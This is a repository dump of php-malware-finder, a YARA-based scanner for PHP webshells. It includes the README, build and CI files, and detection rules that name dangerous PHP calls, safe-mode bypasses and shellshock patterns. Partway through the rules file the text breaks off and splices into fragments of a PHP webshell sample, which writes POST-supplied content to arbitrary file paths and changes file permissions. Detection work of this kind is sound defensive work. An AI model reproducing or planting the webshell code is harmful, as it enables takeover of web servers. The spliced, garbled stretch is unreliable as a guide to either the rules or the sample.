├── .dockerignore ├── .github └── workflows │ ├── docker.yml │ ├── release.yml │ └── test.yml ├── .gitignore ├── CONTRIBUTING.md ├── Dockerfile ├── LICENSE ├── Makefile ├── README.md ├── data ├── php.yar ├── samples │ ├── artificial │ │ ├── bypasses.php │ │ ├── dodgy.php │ │ └── obfuscated.php │ ├── classic │ │ ├── ajaxshell.php │ │ ├── angel.php │ │ ├── b374k.php │ │ ├── c100.php │ │ ├── c99.php │ │ ├── cyb3rsh3ll.php │ │ ├── r57.php │ │ ├── simattacker.php │ │ └── sosyete.php │ ├── cpanel.php │ ├── freepbx.php │ ├── obfuscators │ │ ├── cipher_design.php │ │ ├── online_php_obfuscator.php │ │ └── phpencode.php │ ├── real │ │ ├── awvjtnz.php │ │ ├── exceptions.php │ │ ├── guidtz.php │ │ ├── ice.php │ │ ├── include.php │ │ ├── nano.php │ │ ├── ninja.php │ │ ├── novahot.php │ │ ├── srt.php │ │ └── sucuri_2014_04.php │ └── undetected │ │ └── smart.php ├── whitelist.yar └── whitelists │ ├── custom.yar │ ├── drupal.yar │ ├── magento1ce.yar │ ├── magento2.yar │ ├── phpmyadmin.yar │ ├── prestashop.yar │ ├── symfony.yar │ └── wordpress.yar ├── go.mod ├── go.sum ├── main.go ├── tests.sh └── utils ├── generate_whitelist.py ├── magento1_whitelist.sh ├── magento2_whitelist.sh └── mass_whitelist.py /.dockerignore: -------------------------------------------------------------------------------- 1 | .idea/ 2 | .github/ 3 | utils/ 4 | php-malware-finder 5 | -------------------------------------------------------------------------------- /.github/workflows/docker.yml: -------------------------------------------------------------------------------- 1 | name: Docker 2 | 3 | on: 4 | push: 5 | branches: 6 | - master 7 | tags: 8 | - '*' 9 | pull_request: 10 | branches: 11 | - master 12 | 13 | jobs: 14 | 15 | docker-image: 16 | name: Build Image 17 | runs-on: ubuntu-latest 18 | 19 | steps: 20 | - name: Checkout code 21 | uses: actions/checkout@v3 22 | 23 | - name: Setup docker 24 | uses: docker/setup-buildx-action@v2 25 | 26 | - name: Log into container registry 27 | uses: docker/login-action@v2 28 | with: 29 | registry: ghcr.io 30 | username: ${{ github.repository_owner }} 31 | password: ${{ secrets.GITHUB_TOKEN }} 32 | 33 | - name: Build image 34 | run: make docker 35 | 36 | - name: Test image 37 | run: make docker-tests 38 | 39 | - name: Publish image 40 | if: github.event_name != 'pull_request' 41 | run: make docker-publish 42 | -------------------------------------------------------------------------------- /.github/workflows/release.yml: -------------------------------------------------------------------------------- 1 | name: Release 2 | 3 | on: 4 | push: 5 | tags: 6 | - '*' 7 | 8 | jobs: 9 | 10 | release: 11 | name: Release 12 | runs-on: ubuntu-latest 13 | 14 | steps: 15 | - uses: actions/checkout@v3 16 | 17 | - name: Set up Go 18 | uses: actions/setup-go@v3 19 | with: 20 | go-version: '^1.18' 21 | 22 | # apt repos don't have YARA v4.2, install it from git 23 | - name: Install YARA 24 | run: | 25 | git clone --depth 1 https://github.com/virustotal/yara.git 26 | cd yara 27 | bash ./build.sh 28 | sudo make install 29 | cd .. 30 | 31 | - name: Build 32 | run: make 33 | 34 | - name: Create release 35 | uses: ncipollo/release-action@v1 36 | with: 37 | artifacts: "php-malware-finder" 38 | token: ${{ secrets.GITHUB_TOKEN }} 39 | allowUpdates: true 40 | omitBody: true 41 | -------------------------------------------------------------------------------- /.github/workflows/test.yml: -------------------------------------------------------------------------------- 1 | name: Test Suite 2 | 3 | on: 4 | push: 5 | branches: 6 | - master 7 | pull_request: 8 | branches: 9 | - master 10 | 11 | jobs: 12 | 13 | test: 14 | name: Test 15 | runs-on: ubuntu-latest 16 | strategy: 17 | matrix: 18 | go_version: 19 | - '~1.17' 20 | - '^1.18' 21 | 22 | steps: 23 | - name: Checkout code 24 | uses: actions/checkout@v3 25 | 26 | - name: Setup Go 27 | uses: actions/setup-go@v3 28 | with: 29 | go-version: ${{ matrix.go_version }} 30 | 31 | # apt repos don't have YARA v4.2, install it from git 32 | - name: Install YARA 33 | run: | 34 | git clone --depth 1 https://github.com/virustotal/yara.git 35 | cd yara 36 | bash ./build.sh 37 | sudo make install 38 | cd .. 39 | 40 | - name: Run tests 41 | run: | 42 | make 43 | make tests 44 | env: 45 | LD_LIBRARY_PATH: /usr/local/lib 46 | -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | php-malware-finder 2 | .idea 3 | -------------------------------------------------------------------------------- /CONTRIBUTING.md: -------------------------------------------------------------------------------- 1 | ## Contributing 2 | 3 | First off, thank you for considering contributing to php-malware-finder. 4 | 5 | ### 1. Where do I go from here? 6 | 7 | If you've noticed a bug, an undetected sample or have a question, 8 | [search the issue tracker](https://github.com/nbs-system/php-malware-finder/issues) 9 | to see if someone else has already created a ticket. If not, go ahead and 10 | [make one](https://github.com/nbs-system/php-malware-finder/issues/new)! 11 | 12 | ### 2. Fork & create a branch 13 | 14 | If this is something you think you can fix, 15 | then [fork php-malware-finder](https://help.github.com/articles/fork-a-repo) and 16 | create a branch with a descriptive name. 17 | 18 | A good branch name would be (where issue #325 is the ticket you're working on): 19 | 20 | ```sh 21 | git checkout -b add_new_sample_wp_bruteforcer 22 | ``` 23 | 24 | ### 3. Get the test suite running 25 | 26 | Just type `make tests`, the testsuite will be run automatically. 27 | 28 | ### 6. Make a Pull Request 29 | 30 | At this point, you should switch back to your master branch and make sure it's 31 | up to date with our upstream master branch: 32 | 33 | ```sh 34 | git remote add upstream git@github.com:nbs-system/php-malware-finder.git 35 | git checkout master 36 | git pull upstream master 37 | ``` 38 | 39 | Then update your feature branch from your local copy of master, and push it! 40 | 41 | ```sh 42 | git checkout add_new_sample_wp_bruteforcer 43 | git rebase master 44 | git push --set-upstream origin add_new_sample_wp_bruteforcer 45 | ``` 46 | 47 | Finally, go to GitHub and [make a Pull Request](https://help.github.com/articles/creating-a-pull-request) :D 48 | 49 | Travis CI will [run our test suite](https://travis-ci.org/nbs-system/php-malware-finder). 50 | We care about quality, so your PR won't be merged until all tests are passing. 51 | 52 | ### 7. Keeping your Pull Request updated 53 | 54 | If a maintainer asks you to "rebase" your PR, they're saying that a lot of code 55 | has changed, and that you need to update your branch so it's easier to merge. 56 | 57 | To learn more about rebasing in Git, there are a lot of [good](http://git-scm.com/book/en/Git-Branching-Rebasing) 58 | [resources](https://help.github.com/articles/interactive-rebase) but here's the suggested workflow: 59 | 60 | ```sh 61 | git checkout add_new_sample_wp_bruteforcer 62 | git pull --rebase upstream master 63 | git push --force-with-lease add_new_sample_wp_bruteforcer 64 | ``` 65 | 66 | ### 8. Merging a PR (maintainers only) 67 | 68 | A PR can only be merged into master by a maintainer if: 69 | 70 | 1. It is passing CI. 71 | 2. It has no requested changes. 72 | 3. It is up to date with current master. 73 | 74 | Any maintainer is allowed to merge a PR if all of these conditions are met. 75 | 76 | ### 9. Shipping a release (maintainers only) 77 | 78 | 1. Make sure that all pending and mergeable pull requests are in 79 | 2. Make sure that the all the tests are passing, with `make tests` 80 | 3. Update the Debian changelog in `./debian/changelog` with `dch -i` 81 | 4. Commit the result 82 | 5. Create a tag for the release: 83 | 84 | ```sh 85 | git checkout master 86 | git pull origin master 87 | make tests 88 | git config user.signingkey 498C46FF087EDC36E7EAF9D445414A82A9B22D78 89 | git config user.email security@nbs-system.com 90 | git tag -s v$MAJOR.$MINOR.$PATCH -m "v$MAJOR.$MINOR.$PATCH" 91 | git push --tags 92 | ``` 93 | 94 | 6. Build the debian package with `make deb` 95 | 7. Create the [release on github](https://github.com/nbs-system/php-malware-finder/releases) 96 | 8. Do the *secret release dance* 97 | -------------------------------------------------------------------------------- /Dockerfile: -------------------------------------------------------------------------------- 1 | FROM golang:alpine AS build 2 | WORKDIR /app 3 | 4 | # install build dependencies 5 | RUN apk add --no-cache build-base git && \ 6 | apk add --no-cache -X https://dl-cdn.alpinelinux.org/alpine/edge/testing yara-dev 7 | 8 | # copy and build PMF 9 | COPY . . 10 | RUN make 11 | 12 | FROM golang:alpine 13 | LABEL org.opencontainers.image.source="https://github.com/jvoisin/php-malware-finder" 14 | WORKDIR /app 15 | 16 | # install dependencies 17 | RUN apk add --no-cache libressl && \ 18 | apk add --no-cache -X https://dl-cdn.alpinelinux.org/alpine/edge/testing yara 19 | 20 | # copy binary from build container 21 | COPY --from=build /app/php-malware-finder /app 22 | 23 | ENTRYPOINT ["/app/php-malware-finder", "-v", "-a", "-c", "/data"] 24 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | GNU LESSER GENERAL PUBLIC LICENSE 2 | Version 3, 29 June 2007 3 | 4 | Copyright (C) 2007 Free Software Foundation, Inc. 5 | Everyone is permitted to copy and distribute verbatim copies 6 | of this license document, but changing it is not allowed. 7 | 8 | 9 | This version of the GNU Lesser General Public License incorporates 10 | the terms and conditions of version 3 of the GNU General Public 11 | License, supplemented by the additional permissions listed below. 12 | 13 | 0. Additional Definitions. 14 | 15 | As used herein, "this License" refers to version 3 of the GNU Lesser 16 | General Public License, and the "GNU GPL" refers to version 3 of the GNU 17 | General Public License. 18 | 19 | "The Library" refers to a covered work governed by this License, 20 | other than an Application or a Combined Work as defined below. 21 | 22 | An "Application" is any work that makes use of an interface provided 23 | by the Library, but which is not otherwise based on the Library. 24 | Defining a subclass of a class defined by the Library is deemed a mode 25 | of using an interface provided by the Library. 26 | 27 | A "Combined Work" is a work produced by combining or linking an 28 | Application with the Library. The particular version of the Library 29 | with which the Combined Work was made is also called the "Linked 30 | Version". 31 | 32 | The "Minimal Corresponding Source" for a Combined Work means the 33 | Corresponding Source for the Combined Work, excluding any source code 34 | for portions of the Combined Work that, considered in isolation, are 35 | based on the Application, and not on the Linked Version. 36 | 37 | The "Corresponding Application Code" for a Combined Work means the 38 | object code and/or source code for the Application, including any data 39 | and utility programs needed for reproducing the Combined Work from the 40 | Application, but excluding the System Libraries of the Combined Work. 41 | 42 | 1. Exception to Section 3 of the GNU GPL. 43 | 44 | You may convey a covered work under sections 3 and 4 of this License 45 | without being bound by section 3 of the GNU GPL. 46 | 47 | 2. Conveying Modified Versions. 48 | 49 | If you modify a copy of the Library, and, in your modifications, a 50 | facility refers to a function or data to be supplied by an Application 51 | that uses the facility (other than as an argument passed when the 52 | facility is invoked), then you may convey a copy of the modified 53 | version: 54 | 55 | a) under this License, provided that you make a good faith effort to 56 | ensure that, in the event an Application does not supply the 57 | function or data, the facility still operates, and performs 58 | whatever part of its purpose remains meaningful, or 59 | 60 | b) under the GNU GPL, with none of the additional permissions of 61 | this License applicable to that copy. 62 | 63 | 3. Object Code Incorporating Material from Library Header Files. 64 | 65 | The object code form of an Application may incorporate material from 66 | a header file that is part of the Library. You may convey such object 67 | code under terms of your choice, provided that, if the incorporated 68 | material is not limited to numerical parameters, data structure 69 | layouts and accessors, or small macros, inline functions and templates 70 | (ten or fewer lines in length), you do both of the following: 71 | 72 | a) Give prominent notice with each copy of the object code that the 73 | Library is used in it and that the Library and its use are 74 | covered by this License. 75 | 76 | b) Accompany the object code with a copy of the GNU GPL and this license 77 | document. 78 | 79 | 4. Combined Works. 80 | 81 | You may convey a Combined Work under terms of your choice that, 82 | taken together, effectively do not restrict modification of the 83 | portions of the Library contained in the Combined Work and reverse 84 | engineering for debugging such modifications, if you also do each of 85 | the following: 86 | 87 | a) Give prominent notice with each copy of the Combined Work that 88 | the Library is used in it and that the Library and its use are 89 | covered by this License. 90 | 91 | b) Accompany the Combined Work with a copy of the GNU GPL and this license 92 | document. 93 | 94 | c) For a Combined Work that displays copyright notices during 95 | execution, include the copyright notice for the Library among 96 | these notices, as well as a reference directing the user to the 97 | copies of the GNU GPL and this license document. 98 | 99 | d) Do one of the following: 100 | 101 | 0) Convey the Minimal Corresponding Source under the terms of this 102 | License, and the Corresponding Application Code in a form 103 | suitable for, and under terms that permit, the user to 104 | recombine or relink the Application with a modified version of 105 | the Linked Version to produce a modified Combined Work, in the 106 | manner specified by section 6 of the GNU GPL for conveying 107 | Corresponding Source. 108 | 109 | 1) Use a suitable shared library mechanism for linking with the 110 | Library. A suitable mechanism is one that (a) uses at run time 111 | a copy of the Library already present on the user's computer 112 | system, and (b) will operate properly with a modified version 113 | of the Library that is interface-compatible with the Linked 114 | Version. 115 | 116 | e) Provide Installation Information, but only if you would otherwise 117 | be required to provide such information under section 6 of the 118 | GNU GPL, and only to the extent that such information is 119 | necessary to install and execute a modified version of the 120 | Combined Work produced by recombining or relinking the 121 | Application with a modified version of the Linked Version. (If 122 | you use option 4d0, the Installation Information must accompany 123 | the Minimal Corresponding Source and Corresponding Application 124 | Code. If you use option 4d1, you must provide the Installation 125 | Information in the manner specified by section 6 of the GNU GPL 126 | for conveying Corresponding Source.) 127 | 128 | 5. Combined Libraries. 129 | 130 | You may place library facilities that are a work based on the 131 | Library side by side in a single library together with other library 132 | facilities that are not Applications and are not covered by this 133 | License, and convey such a combined library under terms of your 134 | choice, if you do both of the following: 135 | 136 | a) Accompany the combined library with a copy of the same work based 137 | on the Library, uncombined with any other library facilities, 138 | conveyed under the terms of this License. 139 | 140 | b) Give prominent notice with the combined library that part of it 141 | is a work based on the Library, and explaining where to find the 142 | accompanying uncombined form of the same work. 143 | 144 | 6. Revised Versions of the GNU Lesser General Public License. 145 | 146 | The Free Software Foundation may publish revised and/or new versions 147 | of the GNU Lesser General Public License from time to time. Such new 148 | versions will be similar in spirit to the present version, but may 149 | differ in detail to address new problems or concerns. 150 | 151 | Each version is given a distinguishing version number. If the 152 | Library as you received it specifies that a certain numbered version 153 | of the GNU Lesser General Public License "or any later version" 154 | applies to it, you have the option of following the terms and 155 | conditions either of that published version or of any later version 156 | published by the Free Software Foundation. If the Library as you 157 | received it does not specify a version number of the GNU Lesser 158 | General Public License, you may choose any version of the GNU Lesser 159 | General Public License ever published by the Free Software Foundation. 160 | 161 | If the Library as you received it specifies that a proxy can decide 162 | whether future versions of the GNU Lesser General Public License shall 163 | apply, that proxy's public statement of acceptance of any version is 164 | permanent authorization for you to choose that version for the 165 | Library. 166 | -------------------------------------------------------------------------------- /Makefile: -------------------------------------------------------------------------------- 1 | .PHONY: clean rebuild update-deps tests help docker docker-tests docker-publish 2 | 3 | NAME := php-malware-finder 4 | TAG_COMMIT := $(shell git rev-list --abbrev-commit --all --max-count=1) 5 | VERSION := $(shell git describe --abbrev=0 --tags --exact-match $(TAG_COMMIT) 2>/dev/null || true) 6 | IMAGE_VERSION := $(VERSION) 7 | DATE := $(shell git log -1 --format=%cd --date=format:"%Y%m%d%H%M") 8 | ifeq ($(VERSION),) 9 | VERSION := $(DATE) 10 | IMAGE_VERSION := latest 11 | endif 12 | LDFLAGS := "-X main.version=$(VERSION)" 13 | GO_FLAGS := -o $(NAME) -ldflags $(LDFLAGS) 14 | IMAGE_REGISTRY := ghcr.io 15 | IMAGE_REGISTRY_USER := jvoisin 16 | IMAGE_NAME := $(IMAGE_REGISTRY)/$(IMAGE_REGISTRY_USER)/$(NAME) 17 | 18 | all: php-malware-finder 19 | 20 | php-malware-finder: ## Build application 21 | @go build $(GO_FLAGS) . 22 | 23 | clean: ## Delete build artifacts 24 | @rm -f $(NAME) 25 | 26 | rebuild: clean all ## Delete build artifacts and rebuild 27 | 28 | update-deps: ## Update dependencies 29 | @go get -u . 30 | @go mod tidy -v 31 | 32 | tests: php-malware-finder ## Run test suite 33 | @bash ./tests.sh 34 | 35 | docker: ## Build docker image 36 | docker pull $(IMAGE_NAME):latest || true 37 | docker build --pull --cache-from=$(IMAGE_NAME):latest -t $(IMAGE_NAME):latest . 38 | docker tag $(IMAGE_NAME):latest $(IMAGE_NAME):$(IMAGE_VERSION) 39 | 40 | docker-tests: ## Run docker image against the samples folder 41 | @(docker run --rm -v $(shell pwd)/data/samples:/data $(IMAGE_NAME):latest && exit 1) || (test $$? -eq 255 || exit 1) 42 | 43 | docker-publish: ## Push docker image to the container registry 44 | @docker push $(IMAGE_NAME):latest 45 | @(test "$(IMAGE_VERSION)" != "latest" && docker push $(IMAGE_NAME):$(IMAGE_VERSION)) || true 46 | 47 | help: ## Show this help 48 | @grep -E '^[a-zA-Z_-]+:.*?## .*$$' $(MAKEFILE_LIST) | sort | awk 'BEGIN {FS = ":.*?## "}; {printf "\033[36m%-20s\033[0m %s\n", $$1, $$2}' 49 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | ![Test Suite](https://github.com/jvoisin/php-malware-finder/actions/workflows/test.yml/badge.svg) 2 | 3 | # PHP Malware Finder 4 | 5 | ``` 6 | _______ __ __ _______ 7 | | ___ || |_| || | 8 | | | | || || ___| 9 | | |___| || || |___ Webshell finder, 10 | | ___|| || ___| kiddies hunter, 11 | | | | ||_|| || | website cleaner. 12 | |___| |_| |_||___| 13 | 14 | Detect potentially malicious PHP files. 15 | ``` 16 | 17 | ## What does it detect? 18 | 19 | PHP-malware-finder does its very best to detect obfuscated/dodgy code as well as 20 | files using PHP functions often used in malwares/webshells. 21 | 22 | The following list of encoders/obfuscators/webshells are also detected: 23 | 24 | * [Bantam](https://github.com/gellin/bantam) 25 | * [Best PHP Obfuscator]( http://www.pipsomania.com/best_php_obfuscator.do ) 26 | * [Carbylamine]( https://code.google.com/p/carbylamine/ ) 27 | * [Cipher Design]( http://cipherdesign.co.uk/service/php-obfuscator ) 28 | * [Cyklodev]( http://sysadmin.cyklodev.com/online-php-obfuscator/ ) 29 | * [Joes Web Tools Obfuscator]( http://www.joeswebtools.com/security/php-obfuscator/ ) 30 | * [P.A.S]( http://profexer.name/pas/download.php ) 31 | * [PHP Jiami]( http://www.phpjiami.com/ ) 32 | * [Php Obfuscator Encode]( http://w3webtools.com/encode-php-online/ ) 33 | * [SpinObf]( http://mohssen.org/SpinObf.php ) 34 | * [Weevely3]( https://github.com/epinna/weevely3 ) 35 | * [atomiku]( http://atomiku.com/online-php-code-obfuscator/ ) 36 | * [cobra obfuscator]( http://obfuscator.uk/example/ ) 37 | * [nano]( https://github.com/UltimateHackers/nano ) 38 | * [novahot]( https://github.com/chrisallenlane/novahot ) 39 | * [phpencode]( http://phpencode.org ) 40 | * [tennc]( http://tennc.github.io/webshell/ ) 41 | * [web-malware-collection]( https://github.com/nikicat/web-malware-collection ) 42 | * [webtoolsvn]( http://www.webtoolsvn.com/en-decode/ ) 43 | * [Kraken-ng]( https://github.com/kraken-ng/ ) 44 | 45 | 46 | Of course it's **trivial** to bypass PMF, 47 | but its goal is to catch kiddies and idiots, 48 | not people with a working brain. 49 | If you report a stupid tailored bypass for PMF, you likely belong to one (or 50 | both) category, and should re-read the previous statement. 51 | 52 | ## How does it work? 53 | 54 | Detection is performed by crawling the filesystem and testing files against a 55 | [set](https://github.com/jvoisin/php-malware-finder/blob/master/php-malware-finder/php.yar) 56 | of [YARA](http://virustotal.github.io/yara/) rules. Yes, it's that simple! 57 | 58 | Instead of using a *hash-based* approach, 59 | PMF tries as much as possible to use semantic patterns, to detect things like 60 | "a `$_GET` variable is decoded two times, unzipped, 61 | and then passed to some dangerous function like `system`". 62 | 63 | ## Installation 64 | 65 | ### From source 66 | 67 | - Install Go >= 1.17 (using your package manager, or [manually](https://go.dev/doc/install)) 68 | - Install libyara >= 4.2 (using your package manager, or [from source](https://yara.readthedocs.io/en/stable/gettingstarted.html)) 69 | - Download php-malware-finder: `git clone https://github.com/jvoisin/php-malware-finder.git` 70 | - Build php-malware-finder: `cd php-malware-finder && make` 71 | 72 | or replace the last 2 steps with `go install github.com/jvoisin/php-malware-finder`, 73 | which will directly compile and install PMF in your `${GOROOT}/bin` folder. 74 | 75 | ## How to use it? 76 | 77 | ``` 78 | $ ./php-malware-finder -h 79 | Usage: 80 | php-malware-finder [OPTIONS] [Target] 81 | 82 | Application Options: 83 | -r, --rules-dir= Alternative rules location (default: embedded rules) 84 | -a, --show-all Display all matched rules 85 | -f, --fast Enable YARA's fast mode 86 | -R, --rate-limit= Max. filesystem ops per second, 0 for no limit (default: 0) 87 | -v, --verbose Verbose mode 88 | -w, --workers= Number of workers to spawn for scanning (default: 32) 89 | -L, --long-lines Check long lines 90 | -c, --exclude-common Do not scan files with common extensions 91 | -i, --exclude-imgs Do not scan image files 92 | -x, --exclude-ext= Additional file extensions to exclude 93 | -u, --update Update rules 94 | -V, --version Show version number and exit 95 | 96 | Help Options: 97 | -h, --help Show this help message 98 | ``` 99 | 100 | Or if you prefer to use `yara`: 101 | 102 | ``` 103 | $ yara -r ./data/php.yar /var/www 104 | ``` 105 | 106 | Please keep in mind that you should use at least YARA 3.4 because we're using 107 | [hashes]( https://yara.readthedocs.org/en/latest/modules/hash.html ) for the 108 | whitelist system, and greedy regexps. Please note that if you plan to build 109 | yara from sources, libssl-dev must be installed on your system in order to 110 | have support for hashes. 111 | 112 | Oh, and by the way, you can run the *comprehensive* testsuite with `make tests`. 113 | 114 | ### Docker 115 | 116 | If you want to avoid having to install Go and libyara, you can also use our 117 | docker image and simply mount the folder you want to scan to the container's 118 | `/data` directory: 119 | 120 | ``` 121 | $ docker run --rm -v /folder/to/scan:/data ghcr.io/jvoisin/php-malware-finder 122 | ``` 123 | 124 | ## Whitelisting 125 | 126 | Check the [whitelist.yar](https://github.com/jvoisin/php-malware-finder/blob/master/php-malware-finder/whitelist.yar) file. 127 | If you're lazy, you can generate whitelists for entire folders with the 128 | [generate_whitelist.py](https://github.com/jvoisin/php-malware-finder/blob/master/php-malware-finder/utils/generate_whitelist.py) script. 129 | 130 | ## Why should I use it instead of something else? 131 | 132 | Because: 133 | - It doesn't use [a single rule per sample]( 134 | https://github.com/Neo23x0/signature-base/blob/e264d66a8ea3be93db8482ab3d639a2ed3e9c949/yara/thor-webshells.yar 135 | ), since it only cares about finding malicious patterns, not specific webshells 136 | - It has a [complete testsuite](https://github.com/jvoisin/php-malware-finder/actions), to avoid regressions 137 | - Its whitelist system doesn't rely on filenames 138 | - It doesn't rely on (slow) [entropy computation]( https://en.wikipedia.org/wiki/Entropy_(information_theory) ) 139 | - It uses a ghetto-style static analysis, instead of relying on file hashes 140 | - Thanks to the aforementioned pseudo-static analysis, it works (especially) well on obfuscated files 141 | 142 | ## Licensing 143 | 144 | PHP-malware-finder is 145 | [licensed](https://github.com/jvoisin/php-malware-finder/blob/master/php-malware-finder/LICENSE) 146 | under the GNU Lesser General Public License v3. 147 | 148 | The _amazing_ YARA project is licensed under the Apache v2.0 license. 149 | 150 | Patches, whitelists or samples are of course more than welcome. 151 | -------------------------------------------------------------------------------- /data/php.yar: -------------------------------------------------------------------------------- 1 | import "hash" 2 | include "whitelist.yar" 3 | 4 | /* 5 | Detect: 6 | - phpencode.org 7 | - http://www.pipsomania.com/best_php_obfuscator.do 8 | - http://atomiku.com/online-php-code-obfuscator/ 9 | - http://www.webtoolsvn.com/en-decode/ 10 | - http://obfuscator.uk/example/ 11 | - http://w3webtools.com/encode-php-online/ 12 | - http://www.joeswebtools.com/security/php-obfuscator/ 13 | - https://github.com/epinna/weevely3 14 | - http://cipherdesign.co.uk/service/php-obfuscator 15 | - http://sysadmin.cyklodev.com/online-php-obfuscator/ 16 | - http://mohssen.org/SpinObf.php 17 | - https://code.google.com/p/carbylamine/ 18 | - https://github.com/tennc/webshell 19 | 20 | - https://github.com/wireghoul/htshells 21 | 22 | Thanks to: 23 | - https://stackoverflow.com/questions/3115559/exploitable-php-functions 24 | */ 25 | 26 | global private rule IsPhp 27 | { 28 | strings: 29 | $php = /<\?[^x]/ 30 | 31 | condition: 32 | $php and filesize < 5MB 33 | } 34 | 35 | rule NonPrintableChars 36 | { 37 | strings: 38 | /* 39 | Searching only for non-printable characters completely kills the perf, 40 | so we have to use atoms (https://gist.github.com/Neo23x0/e3d4e316d7441d9143c7) 41 | to get an acceptable speed. 42 | */ 43 | $non_printables = /(function|return|base64_decode).{,256}[^\x09-\x0d\x20-\x7E]{3}/ 44 | 45 | condition: 46 | (any of them) and not IsWhitelisted 47 | } 48 | 49 | 50 | rule PasswordProtection 51 | { 52 | strings: 53 | $md5 = /md5\s*\(\s*\$_(GET|REQUEST|POST|COOKIE|SERVER)[^)]+\)\s*===?\s*['"][0-9a-f]{32}['"]/ nocase 54 | $sha1 = /sha1\s*\(\s*\$_(GET|REQUEST|POST|COOKIE|SERVER)[^)]+\)\s*===?\s*['"][0-9a-f]{40}['"]/ nocase 55 | condition: 56 | (any of them) and not IsWhitelisted 57 | } 58 | 59 | rule ObfuscatedPhp 60 | { 61 | strings: 62 | $eval = /(<\?php|[;{}])[ \t]*@?(eval|preg_replace|system|assert|passthru|(pcntl_)?exec|shell_exec|call_user_func(_array)?)\s*\(/ nocase // ;eval( <- this is dodgy 63 | $eval_comment = /(eval|preg_replace|system|assert|passthru|(pcntl_)?exec|shell_exec|call_user_func(_array)?)\/\*[^\*]*\*\/\(/ nocase // eval/*lol*/( <- this is dodgy 64 | $b374k = "'ev'.'al'" 65 | $align = /(\$\w+=[^;]*)*;\$\w+=@?\$\w+\(/ //b374k 66 | $weevely3 = /\$\w=\$[a-zA-Z]\('',\$\w\);\$\w\(\);/ // weevely3 launcher 67 | $c99_launcher = /;\$\w+\(\$\w+(,\s?\$\w+)+\);/ // http://bartblaze.blogspot.fr/2015/03/c99shell-not-dead.html 68 | $nano = /\$[a-z0-9-_]+\[[^]]+\]\(/ //https://github.com/UltimateHackers/nano 69 | $ninja = /base64_decode[^;]+getallheaders/ //https://github.com/UltimateHackers/nano 70 | $variable_variable = /\${\$[0-9a-zA-z]+}/ 71 | $too_many_chr = /(chr\([\d]+\)\.){8}/ // concatenation of more than eight `chr()` 72 | $concat = /(\$[^\n\r]+\.){5}/ // concatenation of more than 5 words 73 | $concat_with_spaces = /(\$[^\n\r]+\. ){5}/ // concatenation of more than 5 words, with spaces 74 | $var_as_func = /\$_(GET|POST|COOKIE|REQUEST|SERVER)\s*\[[^\]]+\]\s*\(/ 75 | $comment = /\/\*([^*]|\*[^\/])*\*\/\s*\(/ // eval /* comment */ (php_code) 76 | condition: 77 | (any of them) and not IsWhitelisted 78 | } 79 | 80 | rule DodgyPhp 81 | { 82 | strings: 83 | $basedir_bypass = /curl_init\s*\(\s*["']file:\/\// nocase 84 | $basedir_bypass2 = "file:file:///" // https://www.intelligentexploit.com/view-details.html?id=8719 85 | $disable_magic_quotes = /set_magic_quotes_runtime\s*\(\s*0/ nocase 86 | 87 | $execution = /\b(popen|eval|assert|passthru|exec|include|system|pcntl_exec|shell_exec|base64_decode|`|array_map|ob_start|call_user_func(_array)?)\s*\(\s*(base64_decode|php:\/\/input|str_rot13|gz(inflate|uncompress)|getenv|pack|\\?\$_(GET|REQUEST|POST|COOKIE|SERVER))/ nocase // function that takes a callback as 1st parameter 88 | $execution2 = /\b(array_filter|array_reduce|array_walk(_recursive)?|array_walk|assert_options|uasort|uksort|usort|preg_replace_callback|iterator_apply)\s*\(\s*[^,]+,\s*(base64_decode|php:\/\/input|str_rot13|gz(inflate|uncompress)|getenv|pack|\\?\$_(GET|REQUEST|POST|COOKIE|SERVER))/ nocase // functions that takes a callback as 2nd parameter 89 | $execution3 = /\b(array_(diff|intersect)_u(key|assoc)|array_udiff)\s*\(\s*([^,]+\s*,?)+\s*(base64_decode|php:\/\/input|str_rot13|gz(inflate|uncompress)|getenv|pack|\\?\$_(GET|REQUEST|POST|COOKIE|SERVER))\s*\[[^]]+\]\s*\)+\s*;/ nocase // functions that takes a callback as 2nd parameter 90 | 91 | $htaccess = "SetHandler application/x-httpd-php" 92 | $iis_com = /IIS:\/\/localhost\/w3svc/ 93 | $include = /include\s*\(\s*[^\.]+\.(png|jpg|gif|bmp)/ // Clever includes 94 | $ini_get = /ini_(get|set|restore)\s*\(\s*['"](safe_mode|open_basedir|disable_(function|classe)s|safe_mode_exec_dir|safe_mode_include_dir|register_globals|allow_url_include)/ nocase 95 | $pr = /(preg_replace(_callback)?|mb_ereg_replace|preg_filter)\s*\([^)]*(\/|\\x2f)(e|\\x65)['"]/ nocase // http://php.net/manual/en/function.preg-replace.php 96 | $register_function = /register_[a-z]+_function\s*\(\s*['"]\s*(eval|assert|passthru|exec|include|system|shell_exec|`)/ // https://github.com/nbs-system/php-malware-finder/issues/41 97 | $safemode_bypass = /\x00\/\.\.\/|LD_PRELOAD/ 98 | $shellshock = /\(\)\s*{\s*[a-z:]\s*;\s*}\s*;/ 99 | $udp_dos = /fsockopen\s*\(\s*['"]udp:\/\// nocase 100 | $various = " 51 | 52 | 53 | 54 | 55 | 56 | 57 | 58 | "" ){ 69 | 70 | $fedit=realpath($fedit); 71 | 72 | $lines = file($fedit); 73 | 74 | echo "
"; 75 | 76 | echo " 85 | 86 | 87 | 88 |
"; 89 | 90 | $savefile=$_POST['savefile']; 91 | 92 | $filepath=realpath($_POST['filepath']); 93 | 94 | if ($savefile <> "") 95 | 96 | { 97 | 98 | $fp=fopen("$filepath","w+"); 99 | 100 | fwrite ($fp,"") ; 101 | 102 | fwrite ($fp,$savefile) ; 103 | 104 | fclose($fp); 105 | 106 | echo ""; 107 | 108 | } 109 | 110 | exit(); 111 | 112 | } 113 | 114 | ?> 115 | 116 | "" ){ 123 | 124 | $fchmod=realpath($fchmod); 125 | 126 | echo "

127 | 128 | chmod for :$fchmod
129 | 130 |

131 | 132 | Chmod :
133 | 134 |
135 | 136 | 137 | 138 |
"; 139 | 140 | $chmod0=$_POST['chmod0']; 141 | 142 | if ($chmod0 <> ""){ 143 | 144 | chmod ($fchmod , $chmod0); 145 | 146 | }else { 147 | 148 | echo "primission Not Allow change Chmod"; 149 | 150 | } 151 | 152 | exit(); 153 | 154 | } 155 | 156 | ?> 157 | 158 | 159 | 160 |
161 | 162 | 163 | 164 | 165 | 166 | 221 | 222 | 723 | 724 | 725 | 726 | 727 | 728 | 741 | 742 | 743 | 744 |
167 | 168 |

169 | 170 |
171 | 172 |
